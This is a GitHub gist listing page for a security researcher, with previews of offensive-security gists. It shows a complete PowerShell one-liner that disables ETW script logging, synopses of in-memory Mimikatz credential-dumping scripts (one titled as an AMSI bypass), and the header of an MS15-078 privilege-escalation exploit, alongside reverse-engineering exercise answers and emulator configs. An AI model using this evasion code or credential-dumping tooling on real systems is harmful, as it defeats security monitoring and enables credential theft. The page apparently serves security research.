tandasat’s gists

tandasat / Invoke-BypassingMimikatz.ps1

Last active April 11, 2019 22:21

Bypass AMSI With a Null Character : http://standa-note.blogspot.ca/2018/02/amsi-bypass-with-null-character.html

	#
	function Invoke-Mimikatz
	{
	<#
	.SYNOPSIS

	This script leverages Mimikatz 2.0 and Invoke-ReflectivePEInjection to reflectively load Mimikatz completely in memory. This allows you to do things such as
	dump credentials without ever writing the mimikatz binary to disk.
	The script has a ComputerName parameter which allows it to be executed against multiple computers.

tandasat / KillETW.ps1

Last active March 20, 2025 18:34

Disable ETW of the current PowerShell session

	#
	# This PowerShell command sets 0 to System.Management.Automation.Tracing.PSEtwLogProvider etwProvider.m_enabled
	# which effectively disables Suspicious ScriptBlock Logging etc. Note that this command itself does not attempt
	# to bypass Suspicious ScriptBlock Logging for readability.
	#
	[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)

tandasat / Invoke-Mimikidz

Last active August 31, 2018 18:35

This file has been truncated, but you can view the full file.

	function Invoke-Mimikidz
	{
	<#
	.SYNOPSIS

	This script leverages Mimikatz 2.0 and Invoke-ReflectivePEInjection to reflectively load Mimikatz completely in memory. This allows you to do things such as
	dump credentials without ever writing the mimikatz binary to disk.
	The script has a ComputerName parameter which allows it to be executed against multiple computers.

	This script should be able to dump credentials from any version of Windows through Windows 8.1 that has PowerShell v2 or higher installed.

tandasat / elevator.c

Created April 27, 2016 11:48 — forked from sh1n0b1/elevator.c

Windows Open Type ‘atmfd.dll’ Privilege Escalation MS15-078

	#include <stdio.h>
	#include <string.h>
	#include "lib.h"
	#include <Wininet.h>
	//#include "starter.h"

	//include OTF
	#include "font.h" // foofont is fetched from loader config struct

	//#include "cert.h"

tandasat / ch3_answers.c

Created November 21, 2014 17:20

(Suspended) Answers of exercises in Practical Reverse Engineering Chapter 3

	Susupended because of other project.

	///////////////////////////////////////////////////////////////////////////////
	//
	// p123
	//

	I used Windows 8 kernel version 16628.

	//////////////////////////////// 1-6

tandasat / ch1_answers.c

Created November 19, 2014 03:31

Answers of exercises in Practical Reverse Engineering Chapter 1

tandasat / run.bat

Created November 3, 2014 02:45

	set TARGET_BXRC=bochsrc2.4.6
	set BXSHARE=C:\Program Files (x86)\Bochs-2.4.6
	set IDABASE=C:\Program Files (x86)\IDA

	"%IDABASE%\idaq.exe" -c -A -OIDAPython:mbr.py %TARGET_BXRC%.bxrc
	"%IDABASE%\idaq.exe" -rbochs %TARGET_BXRC%.idb

tandasat / bochsrc2.4.6.bxrc

Created November 3, 2014 01:41

	# configuration file generated by Bochs
	plugin_ctrl: unmapped=1, biosdev=1, speaker=1, extfpuirq=1, gameport=1, pci_ide=1, acpi=1, ioapic=1
	config_interface: win32config
	display_library: win32, options="gui_debug"
	memory: host=1024, guest=1024
	romimage: file="C:\Program Files (x86)\Bochs-2.4.6\BIOS-bochs-latest"
	vgaromimage: file="C:\Program Files (x86)\Bochs-2.4.6\VGABIOS-lgpl-latest"
	boot: cdrom, disk
	floppy_bootsig_check: disabled=0
	# no floppya

Satoshi Tanda tandasat